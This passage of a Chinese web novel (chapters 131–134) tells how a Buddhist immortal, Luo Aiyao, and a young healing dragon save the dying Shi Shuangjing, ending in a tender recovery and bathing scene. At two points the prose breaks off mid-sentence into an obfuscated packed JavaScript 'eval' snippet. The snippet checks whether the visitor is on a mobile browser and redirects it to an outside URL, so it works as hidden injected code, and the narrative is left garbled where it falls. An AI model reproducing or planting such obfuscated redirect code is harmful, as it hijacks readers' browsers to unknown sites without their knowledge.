施霜景正在找回自己的意识,一半以上的话都没有经过大脑,想说就说了。忽然有热热的泪水滴到他脸上,施霜景连抬手的力气也没有,“罗爱曜,你哭了?哭到我脸上了。别哭啊,暂时还没死。快死了也是还没死。” 131.细马春蚕篇(二十九) 施霜景看不见,其他几感就变得更敏感。手指一碰即知道那滑腻垂披的是长发,水滴落在脸上即知道是眼泪。此刻施霜景的意识模模糊糊,吐露的话语和意识严重错节,以至于罗爱曜只能相信施霜景所说的话语,放弃读他的心。施霜景说:“要是能抱一抱玉米就好了。” 然后他便听见了凄厉的猫叫声。这声音令施霜景不忍,“我还没死,它怎么叫得这么厉害?谁欺负它了?”话音刚落,脚边忽然有小小的重量压上蓝色陀罗尼经被,踩一踩,然后几乎是跳过来,前爪刨土似的想要挖开蓝色宽绸,施霜景下意识拍了拍身侧,它受到指引,从身侧的缝隙里钻进蓝色经被之下,紧贴着施霜景,微微发抖。 玉米的出现骤然间让施霜景平静下来。 罗爱曜使自己为床,使自己为椅,让施霜景倚靠他。宝殿外风雨雷火交错不停,宝殿内一派祥和,只为等。罗爱曜甚至根本不知道他在与谁抢,抢时间、抢机会、抢生命。或许就是今晚了。罗爱曜如今终于知晓,他半年前交感而知的一万元寿限,在最极端的推想里,原来等于半年的时光乘以不到两千元的打工收入,等于施霜景不认识他,打工打到病发,等于没过过一天好日子,遗憾地来,遗憾地走。倘若退回到不相识的境地,不知道玉米会不会半年前就病逝,然后这个男孩倒在春天即将到来的黎明前。 玉米不安地在蓝被下钻行,最终施霜景手臂轻轻一拱,让玉米踩上自己的肚皮,最温暖的一团,反正现在施霜景不再觉得痛了。大抵是人之将死,浑身轻松。 两人安静一阵,施霜景忽然开口:“罗爱曜,讲讲你过去的事吧。” 为什么问我这个?你不是从来都不关心吗?然而罗爱曜只道:“你想听什么?” “和你相处了这么久……可我对你还什么都不了解啊。对了,你要用我听得懂的话说……” “好。那我就从我的出生开始说。” 罗爱曜从未想过,他有一天会向人介绍自己的来处,那些不值一提的岁月流波。即使有人想问,在罗爱曜看来,他们也不是真的想“知道”,那就更没有介绍的必要。施霜景不同。施霜景既然问了,那他一定真心想听,他最擅长用倾听找到关怀的落脚点。 “我的师父,不空——不是的不,天空的空——从大山深处的赤红幽泉里接到了我。我没有父亲,也没有母亲,我是天生自成的佛胎。我从小就在经书堆里打转。因为我记得我出生前的漫长岁月,那时我在天上至少酝酿了万万年……所以我需要在出生的前几年里,迅速将这些出生前的回忆转化成人类的语言、人类的经验。你知道的,我不是人类。有关人类的事,我也得从头学起。” “原来你也要学啊……” “嗯。我学得很好,师父替我找了个入世的渠道,我五岁就随师父一起进了鸿胪寺。我什么都做。传法、授业、修经、为他人举行‘必要’的仪式……换算成现在的时间,我总是半夜两三点就得起来做功课,嗯,我也需要做功课的……也几乎不吃饭,我以前吃净瓜果,不过在我师父死之后,我就调整了一些规矩。我十四岁那年,师父去世,我在鸿胪寺内继续修行,也代为关照师父留下的弟子,将那些经书的译制收尾,确保它们发布、流传出去。忘记说了,我在译经的过程中,不是单纯地从梵文译成汉文,也不是单纯地将不存在的词语变成存在的词语,我的工作是确保经书内所有的仪式、流程、密法是正确的。我全部检验过了。人类没办法做到佛才能做的事,而我所修行的密宗最是看重这种实践法。” “怪不得你会做这么多神奇的事情,还有好多好多法器。我之前还在想呢,怎么和尚还这么能打……又不是少林寺出来的……你们都这样吗?” “我们?” “佛。” “如果我走了大乘涅槃,那我就彻底无形了。我个人认为,这种无形是很难做实践的——这是一种绝对的无形,就算对有形世界能施加影响,方式也并不直接。你可以理解为,这么能打的佛,恐怕现在只剩下我了。” 施霜景付之一哂,“你可真气人啊,要不是我这样了,我真不敢说出来——你很自恋,你知不知道?” “这我当然知道。不该吗?” “你继续说吧,佛子哥!” “我的活动范围只有鸿胪寺,极少出寺。师父走之前很担心我会进一步误入歧途,我算很不听话的那类弟子,他教我的我不认,他不教的我拼命学。其实我很不喜欢给皇亲国戚做法事,我的欲和他们的欲完全是两回事。我有责任心,但不多。在我二十九岁那年,皇帝要迎佛骨,但我觉得他心有其他想法。这几任皇帝皆知道不空三藏秘密供养着一位佛子,若我那时就涅槃,皇帝就有最新鲜、现成的佛骨了。我在一个风雨交加的夜晚,骑白马离开鸿胪寺,任由马儿带我去任何地方,我不知晓目的地,然后我就到了这里。” “这里?” “嗯,我是在S省内藏起来的。自愿入山,封印我的人身,只由法身心识随意移动。我大约有几百年常驻地狱,主要淬炼修行这些法器使用法。” “罗爱曜……” “嗯?” “多讲点你的事。你那时候开心吗?还是不开心呢?孤不孤单?” “不曾体验过相伴的感觉,也就无从孤单。你要是走了,我就会很孤单。” “那你要努把力了。” “我再多讲讲,你也多等等。等我找到办法。” “行。我听着。” “那时有什么开心不开心可言呢?感觉只有一件事吊在我的眼前,强迫我集中精神去想,那件事就是涅槃。可惜我从来都很有反骨,越要我去想这些远离人间的意图,我就越好奇人类的事。我不是人类,但我也不知道我究竟是什么。我的这具人类身体不老不死、刀枪不入,但也不能像你们所幻想的那样,能够穿天入地——那是我的法身可以干的事。我的人身说有用很有用,说没用其实也挺没用的。拿来上床倒是很好用。” 讲到这里,罗爱曜吻了吻施霜景的头顶。罗爱曜觉得正在讲故事的自己才比较像一千零一夜传说里的王妃山鲁佐德,跟死神打商量。 “让我想想——对了,我还可以讲讲信徒的事。山西的金阁寺是密宗圣地,也是我师父在我出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611228|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生之后才修建的,他在那儿确立了佛子像的制像标准,烧了很多佛子像,然后让他的徒弟带往各地。我收回了绝大部分,因为佛子像在哪儿,我就要管哪儿的事,我不太喜欢给人打工。但我真是太无聊了,我会通过一些偶然落到人类手里的佛子像来观察他们,渐渐地我就有了些信徒,让我能与人类进行最低限度的沟通。” 施霜景抚摸着玉米,玉米的脑袋时不时顶一顶施霜景的胸骨,像是给罗爱曜说的话划重点。这感觉真神奇。原来罗爱曜也可以用这样的方式向自己讲述过去的故事。施霜景以前不问,多少是有些不敢问的成分。难道我真的可以问你的过去吗?趁着现在罗爱曜慈心泛滥,施霜景终于能问了,罗爱曜掰碎了讲给他听,还不会嫌他笨。 施霜景听罗爱曜问他:“你现在还疼吗?” “不疼了。” “肚子疼不疼?头呢?腿呢?” “都不疼啊……我只是觉得很累。” “施霜景,你为什么都不抱怨呢?” 这还是第一次有人问施霜景这个问题,而且要施霜景给一个回答。施霜景只能将脑袋里浆糊一般的想法尽数传递:“你既然来了,我就不会计较。我小时候跟老鼠一起睡过觉……我在灶房睡觉,表姑家的狗也睡在那里,有一次老鼠太冷了,就钻进我的被子里,我那时候还很娇气,看见老鼠就跟什么似的,大半夜尖叫,把狗都闹醒了,狗和我一起叫……然后表姑父出来打了我一顿……像这种事情,计较那么多不就是自找苦吃……反正后面去孤儿院了……我觉得孤儿院蛮好的。” “只要事情好转,你就不计较,不抱怨。是这个意思吗?” “对。” “你可以向我抱怨。” “不要。我不想提。不讲就不用回想了。” “跟我在一起的这些日子,你开心吗?” 施霜景毫不犹豫,“开心啊。这是我这辈子最开心的一段日子。” “我没有好好照顾你。” “我二十岁了,我可以自己照顾自己。” 罗爱曜更难过了。他从未想过,在这最后的这审判时刻,他会和施霜景相互关怀。施霜景以前从来不问罗爱曜的过去,对话都非常聚焦于当时、当地,只问一些肤浅而日常的问题。施霜景会问罗爱曜,你想吃什么,你睡得怎么样,你今天打算做什么。而罗爱曜也从来不问施霜景,你开心吗,我是不是应该照顾你,他从来只问施霜景以后有什么打算——施霜景由一种基本的关怀走往深入的关怀,而罗爱曜由一种长远的关怀走回了最当下的关怀。就好像直到此时此刻,两个人才真正面朝对方走去,终于在中点汇合。 千种新法的验证已经过了大半,罗爱曜仍未找到留住施霜景的办法。宝殿在狂风中轻摇,罗爱曜从来不知道,世界上竟然还有这么难的事。真的不能治好施霜景吗?这样好的人,如果加诸罗爱曜的工艺,将他强留下来,变成非人非鬼、非神非佛的存在,罗爱曜与施霜景的未来也就会留下永远的遗憾了。 “要不要摸一下玉米?” 一只手勉力地抬起,扯了扯罗爱曜的袍袖。 132.细马春蚕篇(三十) 玉米很乖,但现在先不摸了。罗爱曜带玉米来是为了安抚施霜景,而玉米安抚不了罗爱曜。只有施霜景能活下来这件事能安抚罗爱曜。 施霜景现在仍处于缓慢死亡的状态。罗爱曜抵达重症监护室的时候,施霜景就已经几乎是靠着那些仪器在拖时间。回到励光厂、三身齐聚为施霜景加持咒法,现在就是被拉长了的回光返照期。罗爱曜曾认为,所有那些天上的、前意识的、回忆里的佛门前辈,他们的智慧总和应当比罗爱曜个人的智慧总和要多,甚至多出许许多多。罗爱曜也曾认为,他能继承这大部分就已经算是使命已成了。然而现在看来,他总得产生新的法,悟他自己的意与识。偷懒这千年,一朝要补齐,代价远非罗爱曜所能估测。 罗爱曜靠与施霜景的交谈确定施霜景仍活着,更是靠这交谈保证自己不陷入法的狂乱疯魔。 魔,这字尽管被佛门强调千万遍,但在罗爱曜的视野里,魔不曾真正存在过。若将魔视为独立生灵,魔不会认为自己是魔,魔只是在他人的视野里为障。肆意将人打作魔是一种婴儿般的绝对自我。若用魔形容一种由自我而生的专属障,罗爱曜又是修密宗法的,迷障是开悟的启发,开悟是迷障的作答,是一种圆融的因果。在这样的逻辑下,罗爱曜的视野里不见魔,不论是魔人还是心魔。 但有一种魔,或者说得更明确些,一种混沌,罗爱曜会将其视为危险的信号,而罗爱曜从来不避讳承认,他这千年来就是这混沌本身,他本质是一种可为也可不为的中间态。混沌就是在任何世都可以,在任何世都自在,但在这种自在中失却了一线明光。黑暗是分不出程度差异的,光明则张弛有度。罗爱曜的混沌是一种所在宇宙之底的混沌,最终他的“我”就在这种混沌之中消融,抵达与涅槃截然相反的无形、无为。若是彻底落到了这底部,说不定也有一番成就。但罗爱曜总还是认为,“我”很重要。他必须在上与下的两极磁力拉扯之间、在天赋的诱惑里保持平衡。这是遇见施霜景之后才仔细想过的事。有时候只需要这样一枚细锚就够了。 天地间忽然传来轰隆响声,罗爱曜的法界天像是被撕开一个巨大的口子,法界象征着罗爱曜内心的清净与庄严,此刻已如同战火席卷过了,然而这更像是罗爱曜向自己开战。万法唯识,识外无境。琉璃法身里无数透明的咒柱在此震动中扑簌坠落,哗啦啦一地流淌出来,晶莹如海,铺满宝殿以下的深渊。新的咒柱生长出来,却又很快地脱落,直到深渊如一片净海,稳固住正在强烈震荡的法界。 流淌的、作废的咒法冲走那一座座报身佛像的金箔衣,佛也在苦海中浮沉,佛舞依旧,此等变幻很有悲凉意味。宝殿左右摇晃,殿柱的根基也不再那么稳定了。施霜景感觉到震荡动静,罗爱曜轻拍他,哄人睡觉似的,“别怕,没事。” “罗爱曜,我忘了和你说……” “什么?” “我忘记佛子咒了。要是早点想起来,你是不是就能早点回来?” “没关系,忘记就忘记了。那不是什么大不了的咒语,也没什么用处,念咒只是为了让我‘听见’、请我来而已。” “那是你教我的。我想再学一遍。念经会不会让我有解脱的感觉?” “念我的经,我不会让你解脱。你得留在我身边才行。” “那我也要学。我想留在你身边。” 没经可念的感觉可真糟糕。罗爱曜忆起他当初教施霜景的佛子咒,那是最最粗糙的咒法,但施霜景念得很好。一想到当时自己教施霜景的场景,他们对视,自己说一句,施霜景跟一句,那感觉真像许下誓言。只可惜罗爱曜教了也枉然,于施霜景而言,罗爱曜大抵就是左请右请也请不来的背信者。既然像是誓言,不如就许下誓言。罗爱曜说:“那我现在要教的,可比当时教的那句要长得多。” “我会认真学的。” 罗爱曜笑了,脑子里很混沌地冒出想法,我们怎么又变成这种老师与学生的关系。我们的关系真的好复杂。 从最初的那一句开始。粗糙的陀罗尼密咒,召请佛子来,然后呢?罗爱曜开始持诵,一句一停顿,然后施霜景用他那清朗的声音跟读而出。又是那种拨抚开迷雾的感觉,清脆的,有解的,铮铮的。我已经失败了近千种法,没有找到那一种,这样也没关系吗?罗爱曜只怀持一种最单纯的祝愿之情,若说佛菩萨发下种种大愿是为众生,罗爱曜发一种最自私的小愿,然此小愿是对眼前生命最彻底的尊重,众生是由一个个这样的生命而构成,通往大的路上怎么能没有小。施霜景的念诵声中有一种久远而坚定的势,那种感觉——原来罗爱曜也忘了,就像施霜景忘记佛子咒一样,罗爱曜也忘了,他当时教导施霜景念诵佛子咒时,那么多那么多施霜景特有的东西,那么多那么多罗爱曜也没能厘清的东西……不知道究竟是谁在教谁。罗爱曜余光似乎看见宝殿一角的文殊剑,如此莹莹,如此光明。 这种咒本无用处,宝殿外风雨电火仍不止,施霜景仍在死,但这咒就像乌鸦投石,宇宙之底显露出其根基,混沌的水位缓缓上升,可这上升是为了送罗爱曜回到平衡。 念之一闪,罗爱曜抬头,于混沌中无法明辨的那一种法,在最澄澈的一刻幽幽浮现出来。大量的信息倒灌进罗爱曜的脑海中,净土法界的风雨霎时间消失不见,这一种法足以改变、扭转所有事情。 罗爱曜护住施霜景,八方宝殿从顶部藻井开始拆解、坍塌,化作齑粉。光明由地基下的咒柱之碎片投射而上。地狱与佛国之景全如潮水般褪去,透彻蓝光盈满整个空间。旧法如烟沙,新法则如日月交替的那一抹暮蓝,只取交替一瞬的炽光。罗爱曜找到了。他找到了。 他打横抱起施霜景,他那自古就化有的琉璃宝石法身,他大可以认为,其法身的中空正是为了此刻的中阴返渡,罗爱曜领施霜景走入自己,然而这样的自己已经全然不会伤害他了,一切都那么清晰明了,种种反照都是庄严行法。 那领得唯一一种解法的报身佛像已安置于中空的琉璃法身中,他已捕捉那一瞬的法并牢牢记住。于新生的棱柱上,似有似无、似实相又似投影的密教法身千手正捏出新法之印契,无穷映射,力量汇聚。 罗爱曜将施霜景置上密教法身横张的双臂,一切准备齐 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施霜景热泪盈眶。他虽什么也听不懂,可此般誓言已与本誓别无二致,是根本之举托,法力无量,足以慰施霜景,令他相信死已彻底去了。 誓言既尽,罗爱曜站立,至自己密教身前,俯身竖抱起施霜景,令他回到自己怀中,令眼泪顺他长发流进衣襟,而罗爱曜也细细嗅着施霜景颈侧,死气已尽,今夜已尽。 罗爱曜打开家门,靠在门边的刘茜竟然十分清醒。这般冷的天,刘茜一夜没有走,不觉寒冷的原因是鬼子母神守候在她的身边,所以罗爱曜打开门来,其实见到的是两张脸。 “佛子……?”刘茜声音不稳,她太害怕噩耗。 罗爱曜微微侧身,“进来吧。” 刘茜双腿已僵了,她扶着墙壁慢慢挪进屋里。罗爱曜破天荒地伸手扶她,带她进卧室。 刘茜小心地触了触施霜景的皮肤,温热的。她这才敢坐在床侧,去摸施霜景的呼吸——还有呼吸!好平稳的呼吸! 罗爱曜比出噤声的手势,作口型道:他没事了。 刘茜没读出来,鬼子母神就在她耳边念出声音。刘茜那个激动啊,险些碰倒床头柜的水杯。她不停朝佛子作揖,稍稍冷静下来,她又想要去洗毛巾,给施霜景擦擦脸。施霜景看起来还是一脸病气,但说不定只是需要擦一擦呢? 罗爱曜关上门,手里抱着玉米。玉米压根不知道它自己昨夜究竟去到了什么样的地方,只是懵懵懂懂地陪了施霜景一夜。施霜景既然已经救回来了,罗爱曜打算给玉米洗个澡,再让玉米陪施霜景养病。 刘茜拧好毛巾,见房门已经关好了,她便对罗爱曜说:“小景的手机在我这里。不久前有人给他打电话,好像叫玉良小队长。” 罗爱曜接过施霜景的手机。这岂止是有人给施霜景打电话,简直是要把施霜景的电话打爆了好吗?郎放、蒋念琅、蒋良霖……怎么又是他们?忙得大脑出走的罗爱曜一时间也没反应过来,直到他点开郎放和施霜景的微信对话框。 谁说施霜景笨?他可真是有些灵机在身上的,还知道去找龙来帮忙,蒋念琅那条小龙有瞬发的治愈能力,确实可以一赌。这一来二去,成饱和式救援了。 本卷完 133.龙之治愈术 早上八点半,罗爱曜打开门,接刘茜进屋。 早上九点十分,罗爱曜正式地拨了一通电话给郎放。他很难形容这种感觉,微微有点不知如何开口,究竟是要表达感谢,还是要做好战斗的准备?不管怎么说,罗爱曜还是按下了拨出键。 “喂,您好?” “你好,我是罗爱曜。” “……” “……” “佛子,我们刚刚落地D市。为什么之前都联系不上你们?” 真不知道从哪里开始说明比较好。在打电话之前,罗爱曜听了施霜景给郎放发的消息,也看了郎放一家人断断续续给施霜景回复的消息,罗爱曜心中刺痛不堪讲——罗爱曜对自己反复强调道,耐心,爱心,慈悲为怀,要感谢对方的好意。罗爱曜说:“谢谢你们。我做了些处理,小景已经逃过死劫,但现在仍在病中,需要一段时间才能恢复。你们要是能帮忙就太好了。” “连你都不能治疗,我不知道小鼓到底能帮上什么忙。我们只是来碰碰运气,不能旁观小景就这样遭难。” 这年头像郎放一家这样义气的人,已经几乎见不着了。罗爱曜忽然很能理解,为什么郎放能在国内玄学届混得如鱼得水,因为郎放很有侠客精神,义气不消说,为人也很正派,路见不平拔刀相助。罗爱曜忽然原谅了郎放当初截他吉祥话一家的事情。 罗爱曜听见蒋良霖在电话那头絮叨,他们在机场租车,开车来励光厂。郎放直说,希望罗爱曜在电话里就将发生的事情讲清楚,罗爱曜照做了。这通电话足足打了一个小时。电话刚挂断,郎放一家就活生生地出现在了施霜景家,刘茜赶紧倒茶待客。她旁听罗爱曜讲电话,听出来郎放这家人也是过来帮小景的。刘茜今天格外善哭,动不动就抹眼泪,她把施霜景当自己的小孩,小孩转危为安,她心神震荡,根本不能平复。 “佛子,不然先让我们看看小景的情况?他醒了吗?”蒋良霖问。 罗爱曜摇头:“昨晚是他生死劫的关键时刻,我一直强行令他保持清醒,怕他悄无声息就被带走。这一晚耗下来,他很疲劳,恐怕要睡上一段日子了。” 话音未落,众人就见蒋念琅蹑手蹑脚地打开施霜景的房门,探了个脑袋进去看施霜景的情况。罗爱曜没有阻拦蒋念琅,反倒是把玉米抱到了楼上的自习室。 罗爱曜回来,只见蒋念琅爬上床,观察着病气未脱的施霜景,她手里捏着纸巾,鼻子一皱便抽抽搭搭地哭起来。郎放悄悄说:“她刚才已经哭过一轮了。”床边的地上散落着成团的纸巾。 蒋念琅不敢相信躺在床上的这个人是小景哥。她是龙,有治愈能力的龙,对死亡没概念,尽管她刚出生的时候,父母正离死亡极尽,一家三口都卷进一场恶战中,但那也是她婴儿时期的事情了。生病的施霜景好像是勾起了蒋念琅的创伤回忆,她一点也不喜欢看见熟悉的人遭受病痛折磨。 在生命倒数的日子里,施霜景不愿意看见自己的形象。他自小就被人夸帅哥,就算他再不喜欢自夸,但也早已习惯自己是帅哥这件事。施霜景死前面黄消瘦,下肢浮肿,像个还在呼吸的尸体,浑身的气味也不好闻,因为连接种种生命维持的仪器,身上还有很多孔。现在的施霜景只是逃离了死劫,但身体还是非常虚弱,罗爱曜原本打算白天把他送回医院,让他继续接受治疗——罗爱曜不能直接再施加更多治疗,罗爱曜对自己的新咒法还不熟悉,不敢乱用。蒋念琅看见了、闻见了、哭够了,扭头让佛子开宝殿,她不可能在这种居民区大规模释放龙气救人,她还是不能很精准地控制。 “我的宝殿已经塌了,还没心思重建。”罗爱曜坦然道,“你们不介意的话,直接来我的法界。” 这下家长们又担心罗爱曜的法界会不会对小龙有影响。好在罗爱曜是个成熟的大人,他能控制自己的法界,把自己那些致命的法身藏好就行。 蒋念琅幻化为龙,她可以随意控制自己龙身的大小,大可盘踞天幕,小可化作臂环。她的龙身为花青色,典型的东方龙,须发流银璀璨,所散发的龙气在佛子法界中卷出一缕一缕打绺的风迹。施霜景连人带床都给转移进了法界中,罗爱曜掀起施霜景的病号服,裸露出他受病痛折磨的躯干。在得到允许后,蒋念琅盘卧在施霜景的腹上,大抵是蛇一般的大小,这样治疗比较精准。小龙的尾巴蜿蜒地垂着,末端落在郎放的掌心,尾巴一上一下地轻点着。她很有信心。 罗爱曜与小龙父母二人盘腿坐在一旁。罗爱曜忽然道:“你们一定很为她骄傲。” 蒋良霖说:“你没有小孩,你不懂。” 郎放:“……” 罗爱曜:“看在小龙的面子上,我不同你计较。” 蒋良霖:“我家孩子就是最棒的。我们怎么可能不骄傲呢?你看她妈妈把她教得多好、多善良。” 郎放:“你们太吵了,会分小鼓的心。” 罗爱曜和蒋良霖被强制闭麦。郎放其实没说错,小龙分出一只耳朵在听大人怎么夸她呢。专心,没错,要专心! 这条龙真的很厉害。在罗爱曜为她举行了龙王护法仪式之后,她好像更厉害了。只一炷香的时间,施霜景的脸色就肉眼可见地转好,褪去了肝病所带来的黄气,腹水已消,身上的伤口也全封闭收敛了。郎放适时地中断了蒋念琅的治疗,他说:“剩下的就让小景自己静养吧,小鼓给人治得太满也不好,怕龙气有淤积,反而会耽误小景的康复。” 他们还在谈着,仰躺的施霜景迷迷糊糊睁眼,满目皆蓝,吓了施霜景一跳。肚子上冰冰凉凉的……施霜景下意识伸手一摸,摸到了带鳞生物……小鼓顺着施霜景的腰腹一路上爬,用龙首轻轻顶了顶施霜景的下巴。施霜景一低头,与小龙对视,几乎对眼。 施霜景瞪大眼睛:“龙?!” 一人一龙就这样猝不及防对视,小龙缓慢地眨着龙目,施霜景马上就联想到了他家小猫——猫对人表达友善的方式,就是非常温柔地眨眼睛。 “小景醒了。”郎放的声音传来,伸手接走了小鼓。蒋良霖从包里取出一套衣物,方便小鼓化为人形有衣服穿。 法界场景忽然切换回房间。满眼无边无际的明净蓝光被粉刷的白墙替代,小鼓被传回了浴室,正好方便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617226|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她穿衣梳洗。 罗爱曜原本以为,施霜景醒来的这一刻,应该是他与施霜景私密对谈的时刻。但现在这样也未尝不好,还是健康比较重要。身体不舒服,怎么谈都徒增伤心。施霜景的表情表示他还不清楚到底发生了什么,罗爱曜用一句话解释清楚:“小鼓他们赶回来救你了。” 施霜景看向罗爱曜,罗爱曜俯身下来,施霜景竟然伸手捏了捏罗爱曜的脸。 “你真的回来了。” 罗爱曜心里既快乐又酸楚,“你难道忘了昨晚发生的事吗?” 可能是太累了,施霜景只记得零星的片段,现在一时间的确想不清楚。罗爱曜不与他计较,施霜景放下手,罗爱曜还端起施霜景的小臂,让他再捏捏自己的脸,“确认了吗?我回来了。” “确认了,确认了——刚才的龙……真的是龙?!” 蒋良霖将小鼓从浴室接出来,小鼓又扑上施霜景的床,她也戳戳捏捏施霜景,主要是脸和手臂,“小景哥哪里还痛?肚子还痛不痛?” 蒋良霖和郎放围到床边,在客厅的刘茜也悄悄走过来,进屋,站在床尾,不可思议地观察现在的施霜景。这真是太神奇了。现在的施霜景看上去像是气血有亏,但绝对不是重病缠身、缠绵病榻。 施霜景笑着回答小鼓的问题,笑着笑着就哭了,是真哭,不仅流眼泪,还哭出声,轻轻挡开小鼓,用衣袖擦眼泪。罗爱曜递纸给施霜景,也被施霜景胡乱挡掉了,低哭转为痛哭,好像是要将生病以来所有的郁闷全排空,要情绪的废料都随着泪水一起流出自己的身体。施霜景哭得看不见放在自己手边的抽纸盒,直到哭得鼻涕流出来才慌忙找纸。他边哭边喃喃说“谢谢”,把所有人都谢了个遍,这谦卑的姿态让人好心疼。幸好罗爱曜手里有纸,就连罗爱曜都忍不住用纸巾按眼角。蒋良霖惊讶地看着流眼泪的罗爱曜,他和郎放淡定得如此格格不入。原来在他们不知道的时候,罗爱曜真的爱上施霜景了。蒋良霖为这件事感到惊讶。 施霜景哭过一轮,被罗爱曜搀扶着去浴室洗漱。蒋良霖扶着额头,作眩晕状,借口道:“我好累,我们先找个地方休息一下吧,跨国飞机再转国内最早班飞机,我是人,我受不了……” 罗爱曜的声音从浴室里飘出来,他说:“你们可以去楼上休息,钥匙在鞋柜上。” 蒋良霖赶紧婉拒了:“我们定好酒店了,免得你来回地挪猫。你好好照顾小景,我们晚上再见。” 既然蒋良霖都这么说了,罗爱曜便不再劝。施霜景卧床半个月,浑身肌肉都有些不受控制,只是站在水池边刷牙都需要人扶着。施霜景双眼红肿,洗脸的时候用毛巾搓眼睛,罗爱曜赶紧拦住他。施霜景放下毛巾,茫然却用力地眨了几下眼睛,依旧很不舒服。罗爱曜让施霜景闭眼,施霜景照做,两个轻盈的吻落在施霜景的眼上。这种程度的治疗没问题。 “罗爱曜,你就只亲我的眼睛吗?” 既然你都这么说了,那当然是亲吻嘴唇。没有撬开唇肉,没有探入深吻。蜻蜓点水的吻,确认的吻。施霜景睁开眼睛,突地在罗爱曜的蓝眼里看见了自己。 134.谁的一辈子?谁的初恋? 施霜景从死亡的船舱里整个倒翻上来,仿佛爬到甲板上,而罗爱曜的蓝眼象征着不现实的呼吸与碧天。如果不是实打实与这双眼对望,施霜景不会意识到,原来他终于死里逃生了。罗爱曜的眼睛不会骗人。 但施霜景的心情仍旧十分复杂,总觉得有很多该说的,但语库和他的胃一起空荡荡。 水汽的味道,牙膏的味道……施霜景拎起自己的病号服,真脏啊,碘酒和伤口渗液的颜色,血凝的颜色,刘茜还在客厅,她在给施霜景煮粥,所以施霜景关上浴室门,摇晃着身体脱病号服上衣,正好借浴室的镜子看自己的身体。 施霜景端详片刻,说:“瘦了。” 肝性脑病模糊了施霜景在医院的记忆,但他记得护士为他插鼻胃管,一边干呕,一边拼命往下咽……深呼吸,深呼吸。还有尿管和直肠管。这段重病的记忆不可能被抹除,施霜景会一辈子都记得。他也算经历过好几种死法的人,有干脆利落的,有剧痛麻痹的,有钝刀凌迟的。施霜景现在真的害怕“死亡”这回事。 “身上好像没有伤口了……我能不能洗澡?”施霜景请求罗爱曜。 这个家里最洁癖的人是罗爱曜,他怎么可能不懂施霜景的想法?他本想替施霜景擦擦身体就算了,但施霜景住院卧床这些日子,擦身已经是另一段创伤和失去尊严的记忆,就不要再提醒施霜景。罗爱曜说:“稍等。” 贴身衣物,睡衣,浴巾。罗爱曜拜托刘茜趁他们洗澡的时候更换一下寝具,刘茜非常理解。家里没有高脚的塑料凳,矮脚的不适合在浴室用,施霜景那么高,折起来也不舒服。罗爱曜回到浴室,“我帮你洗。” “不是吧,罗爱曜……我的病才刚好……” “你在想什么?只是洗澡而已。” 罗爱曜脱得只剩一件黑色短袖与内裤,意思是他不会在浴室里和施霜景做些什么激烈亲密的事,被打湿也无所谓。施霜景犹豫片刻,才褪下病号裤——里面没有内裤。 施霜景不知道小龙的治愈究竟能到哪一步,他自己也不敢看。被插过管的地方……施霜景背过身去,自己摸了摸,倒是不觉得有特别不适。施霜景对住院期间的隐私问题一概没有了记忆,这些都是医疗行为,没有办法。最大的问题只是太久没有清洁过。 “我觉得我能行,你出去吧。”施霜景取下莲蓬头,放出热水。 罗爱曜不响。施霜景疑惑,转头看见罗爱曜一副怆然又忧虑的表情,竟然还有三分可怜——不知道他在可怜个什么劲,又不是他生病。“你又怎么了?”施霜景问。 罗爱曜上前一步夺过施霜景手中的莲蓬头,水温合适了,罗爱曜仔仔细细为施霜景的身体冲水。水汽氤氲中,罗爱曜开口:“不是你的问题,是我在怪自己。住院不舒服,更何况你还住了这么久——我确认过了,小龙已将你的身体治好了八分,我近期不会和你做,你需要静养。你扶着我。” 施霜景双手搭在罗爱曜肩上,罗爱曜身上遭溅起的水淋湿,发丝紧贴着脸庞,施霜景下意识就替他捋了捋,防止发丝糊住眼睛。 水流冲热全身,浴室室温上升,罗爱曜不打算让施霜景洗太久,将施霜景的身体淋得温温热热之后,罗爱曜往手心挤沐浴露,搓起泡再往施霜景身上抹。胸前、肩膀、手臂,然后是腰腹。施霜景一只手拦住罗爱曜,哑声道:“下面我自己来。” 罗爱曜不语,往手里又挤了两泵沐浴露,蹲下来为施霜景清洗双腿。罗爱曜没有碰施霜景的私密处,尊重施霜景,他只是担心施霜景蹲下再起身会脑供血不足,所以替他将不方便清洗的地方全洗干净。 洗到脚腕的时候,罗爱曜浑身已全湿透了,施霜景特别过意不去,要是他还有多余的力气,他会反过来也替罗爱曜清洗——他们这样真的好像情侣,不,是爱人。罗爱曜让施霜景将脚踩在他的膝盖上,要施霜景扶稳,罗爱曜就连施霜景的脚趾也一一仔细揉捏清洁,然后让施霜景开莲蓬头,从下往上地冲水,小心不要滑倒。 这样说好像很没骨气,但施霜景真的好吃这一套。罗爱曜原来也有照顾人的时候,而且照顾得如此精细,难道聪明人就是这样,就连照顾人都滴水不漏? “你都湿透了,就一起洗吧。”施霜景将莲蓬头固定在墙上,罗爱曜的手指又开始顺水抚弄施霜景的头发,要替他洗头。罗爱曜没回答施霜景的问题。 一连打了三回洗发露,罗爱曜才觉得终于把施霜景的脑袋洗干净、洗清爽了。罗爱曜松一口气,“我帮你洗一下后背,你转过去,还觉得哪里没洗干净就自己来。” “好。” 施霜景确实感觉有些缺氧。罗爱曜替他洗澡的速度已经很快了,不说废话也是为了节省时间,可即便是这样,施霜景洗到后期还是有点站不住,罗爱曜的担心一点毛病没有。 